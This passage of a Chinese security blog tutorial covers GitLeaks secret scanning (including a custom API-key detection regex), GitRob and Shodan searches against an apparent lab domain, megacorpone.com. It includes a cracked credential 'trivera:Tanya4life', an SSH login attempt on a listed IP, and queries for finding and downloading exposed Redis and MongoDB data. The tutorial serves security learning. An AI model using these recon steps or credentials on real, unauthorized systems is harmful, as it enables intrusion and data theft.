&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-执行-gitleaks-扫描"&gt;2. &lt;strong&gt;执行 GitLeaks 扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect -v --redact
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;detect&lt;/code&gt;：扫描模式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：详细输出（显示所有检测结果）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--redact&lt;/code&gt;：自动屏蔽敏感信息（防止二次泄露）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530100954639" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530100954639.png"&gt;&lt;/p&gt;
&lt;h4 id="3-生成报告可选"&gt;3. &lt;strong&gt;生成报告（可选）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --report-format json --report-path leaks_report.json
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;生成 JSON 格式报告，便于后续分析&lt;/li&gt;
&lt;li&gt;其他格式支持：&lt;code&gt;csv&lt;/code&gt;, &lt;code&gt;sarif&lt;/code&gt;, &lt;code&gt;html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="高级用法"&gt;高级用法
&lt;/h3&gt;&lt;h4 id="1-仅扫描最新提交"&gt;1. &lt;strong&gt;仅扫描最新提交&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --log-opts -1
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-指定扫描范围"&gt;2. &lt;strong&gt;指定扫描范围&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 扫描最近 10 个提交
gitleaks detect --log-opts -10

# 扫描特定分支
gitleaks detect --branch develop
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-自定义规则"&gt;3. &lt;strong&gt;自定义规则&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建规则文件 &lt;code&gt;custom.toml&lt;/code&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;title = &amp;#34;Custom Rules&amp;#34;

[[rules]]
description = &amp;#34;MegaCorp API Key Detector&amp;#34;
regex = &amp;#39;&amp;#39;&amp;#39;(?:mc)(?:[0-9a-z\-_\t .]{0,20})(?:[0-9a-f]{32})&amp;#39;&amp;#39;&amp;#39;
tags = [&amp;#34;key&amp;#34;, &amp;#34;megacorp&amp;#34;]
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用自定义规则扫描：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --config custom.toml
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="4-docker-方式扫描无需克隆"&gt;4. &lt;strong&gt;Docker 方式扫描（无需克隆）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;docker run -v $(pwd):/path ghcr.io/gitleaks/gitleaks:latest detect \
 --source https://github.com/megacorpone/megacorpone.com.git \
 --report-format json \
 --report-path /path/leaks.json
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="结果解读示例"&gt;结果解读示例
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;Finding: AWS Access Key
Secret: AKIAIOSFODNN7EXAMPLE
RuleID: aws-access-token
File: src/config.py:15
Commit: d0d1c3c4d5b6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
Author: dev@megacorpone.com
Date: 2025-01-15T08:00:00Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高危项&lt;/strong&gt;：AWS密钥、数据库凭证、API密钥&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中危项&lt;/strong&gt;：内部邮箱、服务器地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低危项&lt;/strong&gt;：测试凭据、占位符&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="注意事项-1"&gt;注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅扫描授权仓库&lt;/li&gt;
&lt;li&gt;避免公开泄露扫描结果&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;误报处理&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;--baseline-path&lt;/code&gt; 忽略已知误报&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --baseline-path previous_report.json
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大仓库添加 &lt;code&gt;--max-target-megabytes=50&lt;/code&gt; 限制文件大小&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;--no-git&lt;/code&gt; 跳过Git历史扫描（仅当前文件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;敏感信息保护&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;始终使用 &lt;code&gt;--redact&lt;/code&gt; 或 &lt;code&gt;--exit-code&lt;/code&gt;（CI/CD场景）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --exit-code 1 # 发现泄露时返回非0状态码
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;扫描完成后，立即检查并修复所有发现的敏感信息泄露！&lt;/p&gt;
&lt;h3 id="-二gitrobgithub-仓库敏感文件扫描"&gt;🕵️ &lt;strong&gt;二、GitRob：GitHub 仓库敏感文件扫描&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="核心功能-1"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;自动化扫描 GitHub 用户/组织的公开仓库，检测配置文件、密钥文件等高危文件（如 &lt;code&gt;.env&lt;/code&gt;、&lt;code&gt;id_rsa&lt;/code&gt;）。&lt;/p&gt;
&lt;h4 id="安装与使用"&gt;&lt;strong&gt;安装与使用&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安装（需 Go 环境）&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install golang-go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;go get github.com/michenriksen/gitrob
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;启动扫描&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用 GitHub Token 扫描目标用户（替换 &amp;lt;token&amp;gt; 和 &amp;lt;username&amp;gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gitrob -t &amp;lt;github_token&amp;gt; &amp;lt;username&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;：Token 需在 GitHub Settings → Developer Settings 生成，权限勾选 &lt;code&gt;repo&lt;/code&gt; 和 &lt;code&gt;user&lt;/code&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="输出解读"&gt;&lt;strong&gt;输出解读&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;结果按文件类型分类（如 &lt;code&gt;Database&lt;/code&gt;、&lt;code&gt;SSH Keys&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显示文件路径、仓库 URL 及风险等级。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-三工具对比与联合使用建议"&gt;⚖️ &lt;strong&gt;三、工具对比与联合使用建议&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特性&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;GitLeaks&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;GitRob&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;扫描目标&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;代码内容（敏感字符串）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仓库文件结构（高危文件名）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;本地/远程仓库深度内容检测&lt;/td&gt;
 &lt;td style="text-align: center"&gt;GitHub 公开仓库快速筛查&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;输出形式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;JSON/命令行报告&lt;/td&gt;
 &lt;td style="text-align: center"&gt;命令行表格&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;联合策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;先用 GitRob 定位可疑仓库，再用 GitLeaks 深度扫描&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-四注意事项-1"&gt;⚠️ &lt;strong&gt;四、注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;法律合规：仅扫描授权目标，禁止未授权探测他人仓库。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;误报处理：GitLeaks 支持自定义规则（修改 &lt;code&gt;gitleaks.toml&lt;/code&gt;过滤误报）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;性能优化 ：大仓库扫描可能超时，建议通过&lt;code&gt;--max-target-megabytes&lt;/code&gt;限制文件大小。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-五实战流程示例"&gt;💎 &lt;strong&gt;五、实战流程示例&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[GitRob 扫描目标用户仓库] --&gt; B{发现高危文件}
B --&gt;|存在 .env 等| C[GitLeaks 深度扫描该仓库]
B --&gt;|无风险| D[结束]
C --&gt; E[生成泄露报告]&lt;/pre&gt;&lt;h2 id="shodan网络空间搜索引擎"&gt;Shodan网络空间搜索引擎
&lt;/h2&gt;&lt;p&gt;Shodan 是一个专注于物联网设备和网络服务的搜索引擎，可用于安全研究、漏洞发现和资产监控。以下是详细的使用方法：&lt;/p&gt;
&lt;h3 id="一网页端使用shodanio"&gt;&lt;strong&gt;一、网页端使用（Shodan.io）&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注册账户&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;访问 Shodan官网，网址：https://www.shodan.io/dashboard 注册免费账户（免费账户功能有限，付费账户支持高级搜索）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础搜索命令&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键词搜索&lt;/strong&gt;：直接输入设备类型（如 &lt;code&gt;webcam&lt;/code&gt;）、服务（如 &lt;code&gt;ftp&lt;/code&gt;）或厂商（如 &lt;code&gt;cisco&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;过滤器（组合使用更精准）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;port:&lt;/code&gt;：指定端口（例：&lt;code&gt;port:22&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country:&lt;/code&gt;：国家代码（例：&lt;code&gt;country:CN&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;city:&lt;/code&gt;：城市（例：&lt;code&gt;city:beijing&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org:&lt;/code&gt;：组织/运营商（例：&lt;code&gt;org:&amp;quot;China Telecom&amp;quot;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os:&lt;/code&gt;：操作系统（例：&lt;code&gt;os:&amp;quot;Windows Server&amp;quot;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vuln:&lt;/code&gt;：CVE漏洞（例：&lt;code&gt;vuln:CVE-2024-1234&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;组合示例：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;apache country:US port:80 
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;用如下命令搜索该网站的22端口，因为我们刚刚破解了一个疑似是ssh登录的密码&lt;code&gt;trivera:Tanya4life&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hostname:megacorpone.com port:&amp;#34;22&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250530102359630" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530102359630.png"&gt;&lt;/p&gt;
&lt;p&gt;找到4个结果，最终测试发现&lt;code&gt;149.56.244.87&lt;/code&gt;可以登录ssh，但是密码似乎不对。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250530104543322" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530104543322.png"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;高级功能&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地图视图&lt;/strong&gt;：搜索结果以地理分布展示。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞筛选&lt;/strong&gt;：点击 &amp;ldquo;Exploits&amp;rdquo; 标签查看相关漏洞。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资产监控&lt;/strong&gt;（付费功能）：监控特定IP或网络的安全状态。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="二kali-linux-命令行工具"&gt;&lt;strong&gt;二、Kali Linux 命令行工具（&lt;code&gt;shodan&lt;/code&gt;）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="安装与配置"&gt;&lt;strong&gt;安装与配置&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安装工具&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install -y shodan # Kali官方源安装
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;或使用Python pip：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip install shodan
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;初始化API密钥&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;登录 Shodan 官网，在个人资料中获取 API Key。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在终端配置：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan init YOUR_API_KEY
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="常用命令"&gt;&lt;strong&gt;常用命令&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;th&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan count &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;统计匹配结果数量&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan count apache&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;搜索并显示结果（默认20条）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan search &amp;quot;nginx country:CN&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan download &amp;lt;文件名&amp;gt; &amp;lt;query&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;下载原始数据（JSON格式）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan download results &amp;quot;port:21&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan parse &amp;lt;文件名&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;解析下载的数据&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan parse results.json.gz&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan host &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查询指定IP的详细信息&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan host 8.8.8.8&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;shodan scan list&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;列出主动扫描任务（需付费）&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;shodan scan list&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="实用示例"&gt;&lt;strong&gt;实用示例&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;搜索暴露的 Redis 服务：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan search &amp;#34;product:redis&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;统计中国区暴露的 SSH 服务：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan count &amp;#34;port:22 country:CN&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下载所有暴露的 MongoDB 数据并解析：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;shodan download mongo_data &amp;#34;port:27017&amp;#34;
shodan parse mongo_data.json.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250530105528564" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530105528564.png"&gt;&lt;/p&gt;
&lt;p&gt;优化显示&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port,org&amp;#34;&lt;/span&gt; megacorpone.json.gz 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port,org,hostnames,domains,isp,product,version,os,location.country_name,location.city,location.latitude,location.longitude&amp;#34;&lt;/span&gt; megacorpone.json.gz 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; shodan parse --fields &lt;span class="s2"&gt;&amp;#34;ip_str,port&amp;#34;&lt;/span&gt; --separator &lt;span class="s2"&gt;&amp;#34;,&amp;#34;&lt;/span&gt; &amp;gt; megacorpone.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Shodan 的 &lt;code&gt;--fields&lt;/code&gt; 参数支持丰富的字段选项，这些字段对应 Shodan 扫描结果中的 JSON 属性。以下是常用字段分类及示例：&lt;/p&gt;
&lt;h3 id="核心字段"&gt;&lt;strong&gt;核心字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ip_str&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;IP 地址 (字符串格式)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;port&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;端口号&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;org&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;组织/ISP (如 &amp;ldquo;Google LLC&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;hostnames&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联的主机名列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;domains&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关联的域名列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;asn&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;自治系统号 (如 &amp;ldquo;AS15169&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;isp&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;网络服务提供商&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;transport&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;协议类型 (tcp/udp)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;product&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;检测到的产品 (如 &amp;ldquo;nginx&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;产品版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;os&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;操作系统信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="地理位置字段"&gt;&lt;strong&gt;地理位置字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.country_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;国家代码 (如 &amp;ldquo;US&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.country_name&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;国家全名 (如 &amp;ldquo;United States&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.city&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;城市名&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.region_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;地区/州代码 (如 &amp;ldquo;CA&amp;rdquo;)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.postal_code&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;邮政编码&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.latitude&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;纬度&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;location.longitude&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;经度&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="http-服务字段"&gt;&lt;strong&gt;HTTP 服务字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;字段&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.title&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;网页标题&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.server&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;HTTP 服务器头&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.headers&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;完整 HTTP 头信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.robots&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;robots.txt 内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.sitemap&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;站点地图链接&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;http.security.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;security.txt 内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="ssltls-证书字段"&gt;&lt;strong&gt;SSL/TLS 证书字段&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
